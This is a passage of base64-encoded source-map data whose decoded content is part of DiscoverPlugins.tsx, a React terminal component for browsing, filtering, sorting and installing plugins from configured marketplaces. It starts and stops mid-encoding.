pbHNNZW51T3B0aW9ucyIsImV4dHJhY3RHaXRIdWJSZXBvIiwiSW5zdGFsbGFibGVQbHVnaW4iLCJWaWV3U3RhdGUiLCJQYXJlbnRWaWV3U3RhdGUiLCJ1c2VQYWdpbmF0aW9uIiwiUHJvcHMiLCJlcnJvciIsInNldEVycm9yIiwicmVzdWx0Iiwic2V0UmVzdWx0Iiwic2V0Vmlld1N0YXRlIiwic3RhdGUiLCJvbkluc3RhbGxDb21wbGV0ZSIsIlByb21pc2UiLCJvblNlYXJjaE1vZGVDaGFuZ2UiLCJpc0FjdGl2ZSIsInRhcmdldFBsdWdpbiIsInR5cGUiLCJwbHVnaW4iLCJwbHVnaW5JZCIsIkRpc2NvdmVyUGx1Z2lucyIsIl9yZXN1bHQiLCJzZXRQYXJlbnRWaWV3U3RhdGUiLCJSZWFjdE5vZGUiLCJ2aWV3U3RhdGUiLCJzZWxlY3RlZFBsdWdpbiIsInNldFNlbGVjdGVkUGx1Z2luIiwiYXZhaWxhYmxlUGx1Z2lucyIsInNldEF2YWlsYWJsZVBsdWdpbnMiLCJsb2FkaW5nIiwic2V0TG9hZGluZyIsImluc3RhbGxDb3VudHMiLCJzZXRJbnN0YWxsQ291bnRzIiwiTWFwIiwiaXNTZWFyY2hNb2RlIiwic2V0SXNTZWFyY2hNb2RlUmF3Iiwic2V0SXNTZWFyY2hNb2RlIiwiYWN0aXZlIiwicXVlcnkiLCJzZWFyY2hRdWVyeSIsInNldFF1ZXJ5Iiwic2V0U2VhcmNoUXVlcnkiLCJjdXJzb3JPZmZzZXQiLCJzZWFyY2hDdXJzb3JPZmZzZXQiLCJvbkV4aXQiLCJpc1Rlcm1pbmFsRm9jdXNlZCIsImNvbHVtbnMiLCJ0ZXJtaW5hbFdpZHRoIiwiZmlsdGVyZWRQbHVnaW5zIiwibG93ZXJRdWVyeSIsInRvTG93ZXJDYXNlIiwiZmlsdGVyIiwiZW50cnkiLCJuYW1lIiwiaW5jbHVkZXMiLCJkZXNjcmlwdGlvbiIsIm1hcmtldHBsYWNlTmFtZSIsInNlbGVjdGVkSW5kZXgiLCJzZXRTZWxlY3RlZEluZGV4Iiwic2VsZWN0ZWRGb3JJbnN0YWxsIiwic2V0U2VsZWN0ZWRGb3JJbnN0YWxsIiwiU2V0IiwiaW5zdGFsbGluZ1BsdWdpbnMiLCJzZXRJbnN0YWxsaW5nUGx1Z2lucyIsInBhZ2luYXRpb24iLCJ0b3RhbEl0ZW1zIiwibGVuZ3RoIiwiZGV0YWlsc01lbnVJbmRleCIsInNldERldGFpbHNNZW51SW5kZXgiLCJpc0luc3RhbGxpbmciLCJzZXRJc0luc3RhbGxpbmciLCJpbnN0YWxsRXJyb3IiLCJzZXRJbnN0YWxsRXJyb3IiLCJ3YXJuaW5nIiwic2V0V2FybmluZyIsImVtcHR5UmVhc29uIiwic2V0RW1wdHlSZWFzb24iLCJsb2FkQWxsUGx1Z2lucyIsImNvbmZpZyIsIm1hcmtldHBsYWNlcyIsImZhaWx1cmVzIiwiYWxsUGx1Z2lucyIsImRhdGEiLCJtYXJrZXRwbGFjZSIsInBsdWdpbnMiLCJwdXNoIiwiaXNJbnN0YWxsZWQiLCJ1bmluc3RhbGxlZFBsdWdpbnMiLCJwIiwiY291bnRzIiwic29ydCIsImEiLCJiIiwiY291bnRBIiwiZ2V0IiwiY291bnRCIiwibG9jYWxlQ29tcGFyZSIsImNvbmZpZ3VyZWRDb3VudCIsIk9iamVjdCIsImtleXMiLCJyZWFzb24iLCJjb25maWd1cmVkTWFya2V0cGxhY2VDb3VudCIsImZhaWxlZE1hcmtldHBsYWNlQ291bnQiLCJzdWNjZXNzQ291bnQiLCJtIiwiZXJyb3JSZXN1bHQiLCJtZXNzYWdlIiwiRXJyb3IiLCJmb3VuZFBsdWdpbiIsImZpbmQiLCJlcnIiLCJpbnN0YWxsU2VsZWN0ZWRQbHVnaW5zIiwic2l6ZSIsInBsdWdpbnNUb0luc3RhbGwiLCJoYXMiLCJtYXAiLCJmYWlsdXJlQ291bnQiLCJuZXdGYWlsZWRQbHVnaW5zIiwiQXJyYXkiLCJzY29wZSIsInN1Y2Nlc3MiLCJoYW5kbGVTaW5nbGVQbHVnaW5JbnN0YWxsIiwibG9hZGVkIiwiY29udGV4dCIsImlucHV0IiwiX2tleSIsImtleUlzTm90Q3RybE9yTWV0YSIsImN0cmwiLCJtZXRhIiwidGVzdCIsInNlbGVjdDpwcmV2aW91cyIsImhhbmRsZVNlbGVjdGlvbkNoYW5nZSIsInNlbGVjdDpuZXh0Iiwic2VsZWN0OmFjY2VwdCIsInRhcmdldE1hcmtldHBsYWNlIiwicGx1Z2luOnRvZ2dsZSIsIm5ld1NlbGVjdGlvbiIsImRlbGV0ZSIsImFkZCIsInBsdWdpbjppbnN0YWxsIiwiZGV0YWlsc01lbnVPcHRpb25zIiwiaGFzSG9tZXBhZ2UiLCJob21lcGFnZSIsImdpdGh1YlJlcG8iLCJhY3Rpb24iLCJmaW5pc2giLCJtc2ciLCJvdXRjb21lIiwiZGV0YWlsIiwibWVudU9wdGlvbnMiLCJ2ZXJzaW9uIiwiYXV0aG9yIiwib3B0aW9uIiwiaW5kZXgiLCJzdGFydHNXaXRoIiwibGFiZWwiLCJ2aXNpYmxlUGx1Z2lucyIsImdldFZpc2libGVJdGVtcyIsIm5lZWRzUGFnaW5hdGlvbiIsInNjcm9sbFBvc2l0aW9uIiwiY3VycmVudCIsInRvdGFsIiwiY2FuU2Nyb2xsVXAiLCJhcnJvd1VwIiwidmlzaWJsZUluZGV4IiwiYWN0dWFsSW5kZXgiLCJ0b0FjdHVhbEluZGV4IiwiaXNTZWxlY3RlZCIsImlzU2VsZWN0ZWRGb3JJbnN0YWxsIiwiaXNJbnN0YWxsaW5nVGhpcyIsImlzTGFzdCIsInN0YXJ0SW5kZXgiLCJ1bmRlZmluZWQiLCJwb2ludGVyIiwiZWxsaXBzaXMiLCJyYWRpb09uIiwicmFkaW9PZmYiLCJ0YWdzIiwiY2FuU2Nyb2xsRG93biIsImFycm93RG93biIsImNyb3NzIiwiRGlzY292ZXJQbHVnaW5zS2V5SGludCIsInQwIiwiJCIsIl9jIiwiaGFzU2VsZWN0aW9uIiwiY2FuVG9nZ2xlIiwidDEiLCJ0MiIsIlN5bWJvbCIsImZvciIsInQzIiwidDQiLCJ0NSIsInQ2IiwiRW1wdHlTdGF0ZU1lc3NhZ2UiXSwic291cmNlcyI6WyJEaXNjb3ZlclBsdWdpbnMudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBmaWd1cmVzIGZyb20gJ2ZpZ3VyZXMnXG5pbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IHVzZUNhbGxiYWNrLCB1c2VFZmZlY3QsIHVzZU1lbW8sIHVzZVN0YXRlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBDb25maWd1cmFibGVTaG9ydGN1dEhpbnQgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL0NvbmZpZ3VyYWJsZVNob3J0Y3V0SGludC5qcydcbmltcG9ydCB7IEJ5bGluZSB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvZGVzaWduLXN5c3RlbS9CeWxpbmUuanMnXG5pbXBvcnQgeyBTZWFyY2hCb3ggfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL1NlYXJjaEJveC5qcydcbmltcG9ydCB7IHVzZVNlYXJjaElucHV0IH0gZnJvbSAnLi4vLi4vaG9va3MvdXNlU2VhcmNoSW5wdXQuanMnXG5pbXBvcnQgeyB1c2VUZXJtaW5hbFNpemUgfSBmcm9tICcuLi8uLi9ob29rcy91c2VUZXJtaW5hbFNpemUuanMnXG4vLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgY3VzdG9tLXJ1bGVzL3ByZWZlci11c2Uta2V5YmluZGluZ3MgLS0gdXNlSW5wdXQgbmVlZGVkIGZvciByYXcgc2VhcmNoIG1vZGUgdGV4dCBpbnB1dFxuaW1wb3J0IHsgQm94LCBUZXh0LCB1c2VJbnB1dCwgdXNlVGVybWluYWxGb2N1cyB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB7XG4gIHVzZUtleWJpbmRpbmcsXG4gIHVzZUtleWJpbmRpbmdzLFxufSBmcm9tICcuLi8uLi9rZXliaW5kaW5ncy91c2VLZXliaW5kaW5nLmpzJ1xuaW1wb3J0IHR5cGUgeyBMb2FkZWRQbHVnaW4gfSBmcm9tICcuLi8uLi90eXBlcy9wbHVnaW4uanMnXG5pbXBvcnQgeyBjb3VudCB9IGZyb20gJy4uLy4uL3V0aWxzL2FycmF5LmpzJ1xuaW1wb3J0IHsgb3BlbkJyb3dzZXIgfSBmcm9tICcuLi8uLi91dGlscy9icm93c2VyLmpzJ1xuaW1wb3J0IHsgbG9nRm9yRGVidWdnaW5nIH0gZnJvbSAnLi4vLi4vdXRpbHMvZGVidWcuanMnXG5pbXBvcnQgeyBlcnJvck1lc3NhZ2UgfSBmcm9tICcuLi8uLi91dGlscy9lcnJvcnMuanMnXG5pbXBvcnQgeyBjbGVhckFsbENhY2hlcyB9IGZyb20gJy4uLy4uL3V0aWxzL3BsdWdpbnMvY2FjaGVVdGlscy5qcydcbmltcG9ydCB7XG4gIGZvcm1hdEluc3RhbGxDb3VudCxcbiAgZ2V0SW5zdGFsbENvdW50cyxcbn0gZnJvbSAnLi4vLi4vdXRpbHMvcGx1Z2lucy9pbnN0YWxsQ291bnRzLmpzJ1xuaW1wb3J0IHsgaXNQbHVnaW5HbG9iYWxseUluc3RhbGxlZCB9IGZyb20gJy4uLy4uL3V0aWxzL3BsdWdpbnMvaW5zdGFsbGVkUGx1Z2luc01hbmFnZXIuanMnXG5pbXBvcnQge1xuICBjcmVhdGVQbHVnaW5JZCxcbiAgZGV0ZWN0RW1wdHlNYXJrZXRwbGFjZVJlYXNvbixcbiAgdHlwZSBFbXB0eU1hcmtldHBsYWNlUmVhc29uLFxuICBmb3JtYXRGYWlsdXJlRGV0YWlscyxcbiAgZm9ybWF0TWFya2V0cGxhY2VMb2FkaW5nRXJyb3JzLFxuICBsb2FkTWFya2V0cGxhY2VzV2l0aEdyYWNlZnVsRGVncmFkYXRpb24sXG59IGZyb20gJy4uLy4uL3V0aWxzL3BsdWdpbnMvbWFya2V0cGxhY2VIZWxwZXJzLmpzJ1xuaW1wb3J0IHsgbG9hZEtub3duTWFya2V0cGxhY2VzQ29uZmlnIH0gZnJvbSAnLi4vLi4vdXRpbHMvcGx1Z2lucy9tYXJrZXRwbGFjZU1hbmFnZXIuanMnXG5pbXBvcnQgeyBPRkZJQ0lBTF9NQVJLRVRQTEFDRV9OQU1FIH0gZnJvbSAnLi4vLi4vdXRpbHMvcGx1Z2lucy9vZmZpY2lhbE1hcmtldHBsYWNlLmpzJ1xuaW1wb3J0IHsgaW5zdGFsbFBsdWdpbkZyb21NYXJrZXRwbGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3BsdWdpbnMvcGx1Z2luSW5zdGFsbGF0aW9uSGVscGVycy5qcydcbmltcG9ydCB7IGlzUGx1Z2luQmxvY2tlZEJ5UG9saWN5IH0gZnJvbSAnLi4vLi4vdXRpbHMvcGx1Z2lucy9wbHVnaW5Qb2xpY3kuanMnXG5pbXBvcnQgeyBwbHVyYWwgfSBmcm9tICcuLi8uLi91dGlscy9zdHJpbmdVdGlscy5qcydcbmltcG9ydCB7IHRydW5jYXRlVG9XaWR0aCB9IGZyb20gJy4uLy4uL3V0aWxzL3RydW5jYXRlLmpzJ1xuaW1wb3J0IHtcbiAgZmluZFBsdWdpbk9wdGlvbnNUYXJnZXQsXG4gIFBsdWdpbk9wdGlvbnNGbG93LFxufSBmcm9tICcuL1BsdWdpbk9wdGlvbnNGbG93LmpzJ1xuaW1wb3J0IHsgUGx1Z2luVHJ1c3RXYXJuaW5nIH0gZnJvbSAnLi9QbHVnaW5UcnVzdFdhcm5pbmcuanMnXG5pbXBvcnQge1xuICBidWlsZFBsdWdpbkRldGFpbHNNZW51T3B0aW9ucyxcbiAgZXh0cmFjdEdpdEh1YlJlcG8sXG4gIHR5cGUgSW5zdGFsbGFibGVQbHVnaW4sXG59IGZyb20gJy4vcGx1Z2luRGV0YWlsc0hlbHBlcnMuanMnXG5pbXBvcnQgdHlwZSB7IFZpZXdTdGF0ZSBhcyBQYXJlbnRWaWV3U3RhdGUgfSBmcm9tICcuL3R5cGVzLmpzJ1xuaW1wb3J0IHsgdXNlUGFnaW5hdGlvbiB9IGZyb20gJy4vdXNlUGFnaW5hdGlvbi5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgZXJyb3I6IHN0cmluZyB8IG51bGxcbiAgc2V0RXJyb3I6IChlcnJvcjogc3RyaW5nIHwgbnVsbCkgPT4gdm9pZFxuICByZXN1bHQ6IHN0cmluZyB8IG51bGxcbiAgc2V0UmVzdWx0OiAocmVzdWx0OiBzdHJpbmcgfCBudWxsKSA9PiB2b2lkXG4gIHNldFZpZXdTdGF0ZTogKHN0YXRlOiBQYXJlbnRWaWV3U3RhdGUpID0+IHZvaWRcbiAgb25JbnN0YWxsQ29tcGxldGU/OiAoKSA9PiB2b2lkIHwgUHJvbWlzZTx2b2lkPlxuICBvblNlYXJjaE1vZGVDaGFuZ2U/OiAoaXNBY3RpdmU6IGJvb2xlYW4pID0+IHZvaWRcbiAgdGFyZ2V0UGx1Z2luPzogc3RyaW5nXG59XG5cbnR5cGUgVmlld1N0YXRlID1cbiAgfCAncGx1Z2luLWxpc3QnXG4gIHwgJ3BsdWdpbi1kZXRhaWxzJ1xuICB8IHsgdHlwZTogJ3BsdWdpbi1vcHRpb25zJzsgcGx1Z2luOiBMb2FkZWRQbHVnaW47IHBsdWdpbklkOiBzdHJpbmcgfVxuXG5leHBvcnQgZnVuY3Rpb24gRGlzY292ZXJQbHVnaW5zKHtcbiAgZXJyb3IsXG4gIHNldEVycm9yLFxuICByZXN1bHQ6IF9yZXN1bHQsXG4gIHNldFJlc3VsdCxcbiAgc2V0Vmlld1N0YXRlOiBzZXRQYXJlbnRWaWV3U3RhdGUsXG4gIG9uSW5zdGFsbENvbXBsZXRlLFxuICBvblNlYXJjaE1vZGVDaGFuZ2UsXG4gIHRhcmdldFBsdWdpbixcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgLy8gVmlldyBzdGF0ZVxuICBjb25zdCBbdmlld1N0YXRlLCBzZXRWaWV3U3RhdGVdID0gdXNlU3RhdGU8Vmlld1N0YXRlPigncGx1Z2luLWxpc3QnKVxuICBjb25zdCBbc2VsZWN0ZWRQbHVnaW4sIHNldFNlbGVjdGVkUGx1Z2luXSA9XG4gICAgdXNlU3RhdGU8SW5zdGFsbGFibGVQbHVnaW4gfCBudWxsPihudWxsKVxuXG4gIC8vIERhdGEgc3RhdGVcbiAgY29uc3QgW2F2YWlsYWJsZVBsdWdpbnMsIHNldEF2YWlsYWJsZVBsdWdpbnNdID0gdXNlU3RhdGU8SW5zdGFsbGFibGVQbHVnaW5bXT4oXG4gICAgW10sXG4gIClcbiAgY29uc3QgW2xvYWRpbmcsIHNldExvYWRpbmddID0gdXNlU3RhdGUodHJ1ZSlcbiAgY29uc3QgW2luc3RhbGxDb3VudHMsIHNldEluc3RhbGxDb3VudHNdID0gdXNlU3RhdGU8TWFwPFxuICAgIHN0cmluZyxcbiAgICBudW1iZXJcbiAgPiB8IG51bGw+KG51bGwpXG5cbiAgLy8gU2VhcmNoIHN0YXRlXG4gIGNvbnN0IFtpc1NlYXJjaE1vZGUsIHNldElzU2VhcmNoTW9kZVJhd10gPSB1c2VTdGF0ZShmYWxzZSlcbiAgY29uc3Qgc2V0SXNTZWFyY2hNb2RlID0gdXNlQ2FsbGJhY2soXG4gICAgKGFjdGl2ZTogYm9vbGVhbikgPT4ge1xuICAgICAgc2V0SXNTZWFyY2hNb2RlUmF3KGFjdGl2ZSlcbiAgICAgIG9uU2VhcmNoTW9kZUNoYW5nZT8uKGFjdGl2ZSlcbiAgICB9LFxuICAgIFtvblNlYXJjaE1vZGVDaGFuZ2VdLFxuICApXG4gIGNvbnN0IHtcbiAgICBxdWVyeTogc2VhcmNoUXVlcnksXG4gICAgc2V0UXVlcnk6IHNldFNlYXJjaFF1ZXJ5LFxuICAgIGN1cnNvck9mZnNldDogc2VhcmNoQ3Vyc29yT2Zmc2V0LFxuICB9ID0gdXNlU2VhcmNoSW5wdXQoe1xuICAgIGlzQWN0aXZlOiB2aWV3U3RhdGUgPT09ICdwbHVnaW4tbGlzdCcgJiYgaXNTZWFyY2hNb2RlICYmICFsb2FkaW5nLFxuICAgIG9uRXhpdDogKCkgPT4ge1xuICAgICAgc2V0SXNTZWFyY2hNb2RlKGZhbHNlKVxuICAgIH0sXG4gIH0pXG4gIGNvbnN0IGlzVGVybWluYWxGb2N1c2VkID0gdXNlVGVybWluYWxGb2N1cygpXG4gIGNvbnN0IHsgY29sdW1uczogdGVybWluYWxXaWR0aCB9ID0gdXNlVGVybWluYWxTaXplKClcblxuICAvLyBGaWx0ZXIgcGx1Z2lucyBiYXNlZCBvbiBzZWFyY2ggcXVlcnlcbiAgY29uc3QgZmlsdGVyZWRQbHVnaW5zID0gdXNlTWVtbygoKSA9PiB7XG4gICAgaWYgKCFzZWFyY2hRdWVyeSkgcmV0dXJuIGF2YWlsYWJsZVBsdWdpbnNcbiAgICBjb25zdCBsb3dlclF1ZXJ5ID0gc2VhcmNoUXVlcnkudG9Mb3dlckNhc2UoKVxuICAgIHJldHVybiBhdmFpbGFibGVQbHVnaW5zLmZpbHRlcihcbiAgICAgIHBsdWdpbiA9PlxuICAgICAgICBwbHVnaW4uZW50cnkubmFtZS50b0xvd2VyQ2FzZSgpLmluY2x1ZGVzKGxvd2VyUXVlcnkpIHx8XG4gICAgICAgIHBsdWdpbi5lbnRyeS5kZXNjcmlwdGlvbj8udG9Mb3dlckNhc2UoKS5pbmNsdWRlcyhsb3dlclF1ZXJ5KSB8fFxuICAgICAgICBwbHVnaW4ubWFya2V0cGxhY2VOYW1lLnRvTG93ZXJDYXNlKCkuaW5jbHVkZXMobG93ZXJRdWVyeSksXG4gICAgKVxuICB9LCBbYXZhaWxhYmxlUGx1Z2lucywgc2VhcmNoUXVlcnldKVxuXG4gIC8vIFNlbGVjdGlvbiBzdGF0ZVxuICBjb25zdCBbc2VsZWN0ZWRJbmRleCwgc2V0U2VsZWN0ZWRJbmRleF0gPSB1c2VTdGF0ZSgwKVxuICBjb25zdCBbc2VsZWN0ZWRGb3JJbnN0YWxsLCBzZXRTZWxlY3RlZEZvckluc3RhbGxdID0gdXNlU3RhdGU8U2V0PHN0cmluZz4+KFxuICAgIG5ldyBTZXQoKSxcbiAgKVxuICBjb25zdCBbaW5zdGFsbGluZ1BsdWdpbnMsIHNldEluc3RhbGxpbmdQbHVnaW5zXSA9IHVzZVN0YXRlPFNldDxzdHJpbmc+PihcbiAgICBuZXcgU2V0KCksXG4gIClcblxuICAvLyBQYWdpbmF0aW9uIGZvciBwbHVnaW4gbGlzdCAoY29udGludW91cyBzY3JvbGxpbmcpXG4gIGNvbnN0IHBhZ2luYXRpb24gPSB1c2VQYWdpbmF0aW9uPEluc3RhbGxhYmxlUGx1Z2luPih7XG4gICAgdG90YWxJdGVtczogZmlsdGVyZWRQbHVnaW5zLmxlbmd0aCxcbiAgICBzZWxlY3RlZEluZGV4LFxuICB9KVxuXG4gIC8vIFJlc2V0IHNlbGVjdGlvbiB3aGVuIHNlYXJjaCBxdWVyeSBjaGFuZ2VzXG4gIHVzZUVmZmVjdCgoKSA9PiB7XG4gICAgc2V0U2VsZWN0ZWRJbmRleCgwKVxuICB9LCBbc2VhcmNoUXVlcnldKVxuXG4gIC8vIERldGFpbHMgdmlldyBzdGF0ZVxuICBjb25zdCBbZGV0YWlsc01lbnVJbmRleCwgc2V0RGV0YWlsc01lbnVJbmRleF0gPSB1c2VTdGF0ZSgwKVxuICBjb25zdCBbaXNJbnN0YWxsaW5nLCBzZXRJc0luc3RhbGxpbmddID0gdXNlU3RhdGUoZmFsc2UpXG4gIGNvbnN0IFtpbnN0YWxsRXJyb3IsIHNldEluc3RhbGxFcnJvcl0gPSB1c2VTdGF0ZTxzdHJpbmcgfCBudWxsPihudWxsKVxuXG4gIC8vIFdhcm5pbmcgc3RhdGUgZm9yIG5vbi1jcml0aWNhbCBlcnJvcnNcbiAgY29uc3QgW3dhcm5pbmcsIHNldFdhcm5pbmddID0gdXNlU3RhdGU8c3RyaW5nIHwgbnVsbD4obnVsbClcblxuICAvLyBFbXB0eSBzdGF0ZSByZWFzb25cbiAgY29uc3QgW2VtcHR5UmVhc29uLCBzZXRFbXB0eVJlYXNvbl0gPSB1c2VTdGF0ZTxFbXB0eU1hcmtldHBsYWNlUmVhc29uIHwgbnVsbD4oXG4gICAgbnVsbCxcbiAgKVxuXG4gIC8vIExvYWQgYWxsIHBsdWdpbnMgZnJvbSBhbGwgbWFya2V0cGxhY2VzXG4gIHVzZUVmZmVjdCgoKSA9PiB7XG4gICAgYXN5bmMgZnVuY3Rpb24gbG9hZEFsbFBsdWdpbnMoKSB7XG4gICAgICB0cnkge1xuICAgICAgICBjb25zdCBjb25maWcgPSBhd2FpdCBsb2FkS25vd25NYXJrZXRwbGFjZXNDb25maWcoKVxuXG4gICAgICAgIC8vIExvYWQgbWFya2V0cGxhY2VzIHdpdGggZ3JhY2VmdWwgZGVncmFkYXRpb25cbiAgICAgICAgY29uc3QgeyBtYXJrZXRwbGFjZXMsIGZhaWx1cmVzIH0gPVxuICAgICAgICAgIGF3YWl0IGxvYWRNYXJrZXRwbGFjZXNXaXRoR3JhY2VmdWxEZWdyYWRhdGlvbihjb25maWcpXG5cbiAgICAgICAgLy8gQ29sbGVjdCBhbGwgcGx1Z2lucyBmcm9tIGFsbCBtYXJrZXRwbGFjZXNcbiAgICAgICAgY29uc3QgYWxsUGx1Z2luczogSW5zdGFsbGFibGVQbHVnaW5bXSA9IFtdXG5cbiAgICAgICAgZm9yIChjb25zdCB7IG5hbWUsIGRhdGE6IG1hcmtldHBsYWNlIH0gb2YgbWFya2V0cGxhY2VzKSB7XG4gICAgICAgICAgaWYgKG1hcmtldHBsYWNlKSB7XG4gICAgICAgICAgICBmb3IgKGNvbnN0IGVudHJ5IG9mIG1hcmtldHBsYWNlLnBsdWdpbnMpIHtcbiAgICAgICAgICAgICAgY29uc3QgcGx1Z2luSWQgPSBjcmVhdGVQbHVnaW5JZChlbnRyeS5uYW1lLCBuYW1lKVxuICAgICAgICAgICAgICBhbGxQbHVnaW5zLnB1c2goe1xuICAgICAgICAgICAgICAgIGVudHJ5LFxuICAgICAgICAgICAgICAgIG1hcmtldHBsYWNlTmFtZTogbmFtZSxcbiAgICAgICAgICAgICAgICBwbHVnaW5JZCxcbiAgICAgICAgICAgICAgICAvLyBPbmx5IGJsb2NrIHdoZW4gZ2xvYmFsbHkgaW5zdGFsbGVkICh1c2VyL21hbmFnZWQgc2NvcGUpLlxuICAgICAgICAgICAgICAgIC8vIFByb2plY3QvbG9jYWwtc2NvcGUgaW5zdGFsbHMgZG9uJ3QgYmxvY2sg4oCUIHVzZXIgbWF5IHdhbnQgdG9cbiAgICAgICAgICAgICAgICAvLyBwcm9tb3RlIHRvIHVzZXIgc2NvcGUgc28gaXQncyBhdmFpbGFibGUgZXZlcnl3aGVyZSAoZ2gtMjk5OTcpLlxuICAgICAgICAgICAgICAgIGlzSW5zdGFsbGVkOiBpc1BsdWdpbkdsb2JhbGx5SW5zdGFsbGVkKHBsdWdpbklkKSxcbiAgICAgICAgICAgICAgfSlcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICAvLyBGaWx0ZXIgb3V0IGluc3RhbGxlZCBhbmQgcG9saWN5LWJsb2NrZWQgcGx1Z2luc1xuICAgICAgICBjb25zdCB1bmluc3RhbGxlZFBsdWdpbnMgPSBhbGxQbHVnaW5zLmZpbHRlcihcbiAgICAgICAgICBwID0+ICFwLmlzSW5zdGFsbGVkICYmICFpc1BsdWdpbkJsb2NrZWRCeVBvbGljeShwLnBsdWdpbklkKSxcbiAgICAgICAgKVxuXG4gICAgICAgIC8vIEZldGNoIGluc3RhbGwgY291bnRzIGFuZCBzb3J0IGJ5IHBvcHVsYXJpdHlcbiAgICAgICAgdHJ5IHtcbiAgICAgICAgICBjb25zdCBjb3VudHMgPSBhd2FpdCBnZXRJbnN0YWxsQ291bnRzKClcbiAgICAgICAgICBzZXRJbnN0YWxsQ291bnRzKGNvdW50cylcblxuICAgICAgICAgIGlmIChjb3VudHMpIHtcbiAgICAgICAgICAgIC8vIFNvcnQgYnkgaW5zdGFsbCBjb3VudCAoZGVzY2VuZGluZyksIHRoZW4gYWxwaGFiZXRpY2FsbHlcbiAgICAgICAgICAgIHVuaW5zdGFsbGVkUGx1Z2lucy5zb3J0KChhLCBiKSA9PiB7XG4gICAgICAgICAgICAgIGNvbnN0IGNvdW50QSA9IGNvdW50cy5nZXQoYS5wbHVnaW5JZCkgPz8gMFxuICAgICAgICAgICAgICBjb25zdCBjb3VudEIgPSBjb3VudHMuZ2V0KGIucGx1Z2luSWQpID8/IDBcbiAgICAgICAgICAgICAgaWYgKGNvdW50QSAhPT0gY291bnRCKSByZXR1cm4gY291bnRCIC0gY291bnRBXG4gICAgICAgICAgICAgIHJldHVybiBhLmVudHJ5Lm5hbWUubG9jYWxlQ29tcGFyZShiLmVudHJ5Lm5hbWUpXG4gICAgICAgICAgICB9KVxuICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAvLyBObyBjb3VudHMgYXZhaWxhYmxlIC0gc29ydCBhbHBoYWJldGljYWxseVxuICAgICAgICAgICAgdW5pbnN0YWxsZWRQbHVnaW5zLnNvcnQoKGEsIGIpID0+XG4gICAgICAgICAgICAgIGEuZW50cnkubmFtZS5sb2NhbGVDb21wYXJlKGIuZW50cnkubmFtZSksXG4gICAgICAgICAgICApXG4gICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChlcnJvcikge1xuICAgICAgICAgIC8vIExvZyB0aGUgZXJyb3IsIHRoZW4gZ3JhY2VmdWxseSBkZWdyYWRlIHRvIGFscGhhYmV0aWNhbCBzb3J0XG4gICAgICAgICAgbG9nRm9yRGVidWdnaW5nKFxuICAgICAgICAgICAgYEZhaWxlZCB0byBmZXRjaCBpbnN0YWxsIGNvdW50czogJHtlcnJvck1lc3NhZ2UoZXJyb3IpfWAsXG4gICAgICAgICAgKVxuICAgICAgICAgIHVuaW5zdGFsbGVkUGx1Z2lucy5zb3J0KChhLCBiKSA9PlxuICAgICAgICAgICAgYS5lbnRyeS5uYW1lLmxvY2FsZUNvbXBhcmUoYi5lbnRyeS5uYW1lKSxcbiAgICAgICAgICApXG4gICAgICAgIH1cblxuICAgICAgICBzZXRBdmFpbGFibGVQbHVnaW5zKHVuaW5zdGFsbGVkUGx1Z2lucylcblxuICAgICAgICAvLyBEZXRlY3QgZW1wdHkgcmVhc29uIGlmIG5vIHBsdWdpbnMgYXZhaWxhYmxlXG4gICAgICAgIGNvbnN0IGNvbmZpZ3VyZWRDb3VudCA9IE9iamVjdC5rZXlzKGNvbmZpZykubGVuZ3RoXG4gICAgICAgIGlmICh1bmluc3RhbGxlZFBsdWdpbnMubGVuZ3RoID09PSAwKSB7XG4gICAgICAgICAgY29uc3QgcmVhc29uID0gYXdhaXQgZGV0ZWN0RW1wdHlNYXJrZXRwbGFjZVJlYXNvbih7XG4gICAgICAgICAgICBjb25maWd1cmVkTWFya2V0cGxhY2VDb3VudDogY29uZmlndXJlZENvdW50LFxuICAgICAgICAgICAgZmFpbGVkTWFya2V0cGxhY2VDb3VudDogZmFpbHVyZXMubGVuZ3RoLFxuICAgICAgICAgIH0pXG4gICAgICAgICAgc2V0RW1wdHlSZWFzb24ocmVhc29uKVxuICAgICAgICB9XG5cbiAgICAgICAgLy8gSGFuZGxlIG1hcmtldHBsYWNlIGxvYWRpbmcgZXJyb3JzL3dhcm5pbmdzXG4gICAgICAgIGNvbnN0IHN1Y2Nlc3NDb3VudCA9IGNvdW50KG1hcmtldHBsYWNlcywgbSA9PiBtLmRhdGEgIT09IG51bGwpXG4gICAgICAgIGNvbnN0IGVycm9yUmVzdWx0ID0gZm9ybWF0TWFya2V0cGxhY2VMb2FkaW5nRXJyb3JzKFxuICAgICAgICAgIGZhaWx1cmVzLFxuICAgICAgICAgIHN1Y2Nlc3NDb3VudCxcbiAgICAgICAgKVxuICAgICAgICBpZiAoZXJyb3JSZXN1bHQpIHtcbiAgICAgICAgICBpZiAoZXJyb3JSZXN1bHQudHlwZSA9PT0gJ3dhcm5pbmcnKSB7XG4gICAgICAgICAgICBzZXRXYXJuaW5nKGVycm9yUmVzdWx0Lm1lc3NhZ2UgKyAnLiBTaG93aW5nIGF2YWlsYWJsZSBwbHVnaW5zLicpXG4gICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIHRocm93IG5ldyBFcnJvcihlcnJvclJlc3VsdC5tZXNzYWdlKVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIC8vIEhhbmRsZSB0YXJnZXRQbHVnaW4gLSBuYXZpZ2F0ZSBkaXJlY3RseSB0byBwbHVnaW4gZGV0YWlsc1xuICAgICAgICAvLyBTZWFyY2ggaW4gYWxsUGx1Z2lucyAoYmVmb3JlIGZpbHRlcmluZykgdG8gaGFuZGxlIGluc3RhbGxlZCBwbHVnaW5zIGdyYWNlZnVsbHlcbiAgICAgICAgaWYgKHRhcmdldFBsdWdpbikge1xuICAgICAgICAgIGNvbnN0